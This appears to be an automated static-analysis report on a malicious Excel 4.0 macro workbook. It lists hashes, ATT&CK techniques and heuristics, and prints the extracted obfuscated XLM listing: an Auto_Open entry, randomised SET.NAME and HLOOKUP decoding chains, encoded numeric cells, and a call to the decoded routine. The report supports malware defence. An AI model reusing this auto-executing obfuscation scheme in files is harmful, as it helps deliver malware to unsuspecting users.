Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4ef5f8cf8c71d9d6…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:47:47 Authoring application: Microsoft Excel First seen: 2026-06-05
MD5: 8c41745c83052f3d065cfece97027604 SHA-1: 76b61496a75babf1da8abbebee875933c1aa64e9 SHA-256: 4ef5f8cf8c71d9d664a26fe83c60500c7c77bb0ead2e8a0968c538b5cb9c39a9
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file is an Excel 4.0 macro sheet containing an Auto_Open defined name, indicating an attempt to automatically execute code upon opening. The presence of dangerous formula APIs like RUN suggests the macro is designed to execute a payload. While the specific payload is not directly visible, the technique strongly implies malicious intent.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6691 bytes
SHA-256: e1313890cec9337b9f38fdb7beaeaf057ae3c4839b6c571ee3cdd5524bc90db1
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     15 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  wWYcpf
' 0018     20 LABEL : Cell Value, String Constant - AgTZT len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A184 
' 0018     23 LABEL : Cell Value, String Constant - CkQKKCzM len=0 
' 0018     23 LABEL : Cell Value, String Constant - csBiZOzR len=0 
' 0018     26 LABEL : Cell Value, String Constant - CXnnUeWcaFE len=0 
' 0018     25 LABEL : Cell Value, String Constant - eNydLzDbTC len=0 
' 0018     20 LABEL : Cell Value, String Constant - fDutG len=0 
' 0018     27 LABEL : Cell Value, String Constant - GDqQRPDwRksD len=0 
' 0018     24 LABEL : Cell Value, String Constant - hifxEWBzE len=0 
' 0018     27 LABEL : Cell Value, String Constant - IWZGvvUJwDst len=0 
' 0018     21 LABEL : Cell Value, String Constant - IZjYPM len=0 
' 0018     23 LABEL : Cell Value, String Constant - JDIlkreU len=0 
' 0018     24 LABEL : Cell Value, String Constant - JjenOCXRL len=0 
' 0018     20 LABEL : Cell Value, String Constant - Klzua len=0 
' 0018     25 LABEL : Cell Value, String Constant - kpyoZszTyr len=0 
' 0018     22 LABEL : Cell Value, String Constant - KurZTGK len=0 
' 0018     22 LABEL : Cell Value, String Constant - ONmGRjz len=0 
' 0018     27 LABEL : Cell Value, String Constant - QLbLznuCjeqS len=0 
' 0018     27 LABEL : Cell Value, String Constant - qLQqAcAKwsYO len=0 
' 0018     27 LABEL : Cell Value, String Constant - RuhEpnwVWfbD len=0 
' 0018     24 LABEL : Cell Value, String Constant - ZmsCOwVrZ len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  wWYcpf,A88,"SET.NAME("AgTZT",0+VALUE("0"))",""
'  wWYcpf,A92,"SET.NAME("csBiZOzR",AgTZT)",""
'  wWYcpf,A95,"SET.NAME("qLQqAcAKwsYO",AgTZT)",""
'  wWYcpf,A99,"SET.NAME("kpyoZszTyr",COUNTA(CkQKKCzM))",""
'  wWYcpf,Q99,"",323.00000000000000000000
'  wWYcpf,Q100,"",-956.00000000000000000000
'  wWYcpf,A101,"SET.NAME("ZmsCOwVrZ",COUNTA(eNydLzDbTC))",""
'  wWYcpf,Q101,"",601.00000000000000000000
'  wWYcpf,Q102,"",-261.00000000000000000000
'  wWYcpf,Q103,"",693.00000000000000000000
'  wWYcpf,A104,[],""
'  wWYcpf,Q104,"",-580.00000000000000000000
'  wWYcpf,A106,"SET.NAME("IWZGvvUJwDst","")",""
'  wWYcpf,A111,"csBiZOzR",""
'  wWYcpf,A113,"SET.NAME("GDqQRPDwRksD",HLOOKUP("*",CkQKKCzM,csBiZOzR,FALSE))",""
'  wWYcpf,A118,"hifxEWBzE",""
'  wWYcpf,A121,"SET.NAME("RuhEpnwVWfbD",AgTZT)",""
'  wWYcpf,A125,[],""
'  wWYcpf,A129,"RuhEpnwVWfbD",""
'  wWYcpf,A132,"QLbLznuCjeqS",""
'  wWYcpf,A137,"JDIlkreU",""
'  wWYcpf,A141,"KurZTGK",""
'  wWYcpf,A146,"SET.NAME("CXnnUeWcaFE",VALUE(HLOOKUP("*",eNydLzDbTC,KurZTGK,FALSE)))",""
'  wWYcpf,A151,"ONmGRjz",""
'  wWYcpf,A154,"IWZGvvUJwDst",""
'  wWYcpf,A158,"qLQqAcAKwsYO",""
'  wWYcpf,A160,NEXT(),""
'  wWYcpf,A163,"Klzua",""
'  wWYcpf,A166,[],""
'  wWYcpf,A171,"JjenOCXRL",""
'  wWYcpf,A176,NEXT(),""
'  wWYcpf,A181,RETURN(),""
'  wWYcpf,A215,"SET.NAME("fDutG",A88)",""
'  wWYcpf,A219,"CkQKKCzM",""
'  wWYcpf,A222,"SET.NAME("eNydLzDbTC",R91C11)",""
'  wWYcpf,A226,"SET.NAME("JjenOCXRL",235)",""
'  wWYcpf,A231,"SET.NAME("IZjYPM",1)",""
'  wWYcpf,A234,fDutG(),""
'  wWYcpf,A235,HALT(),""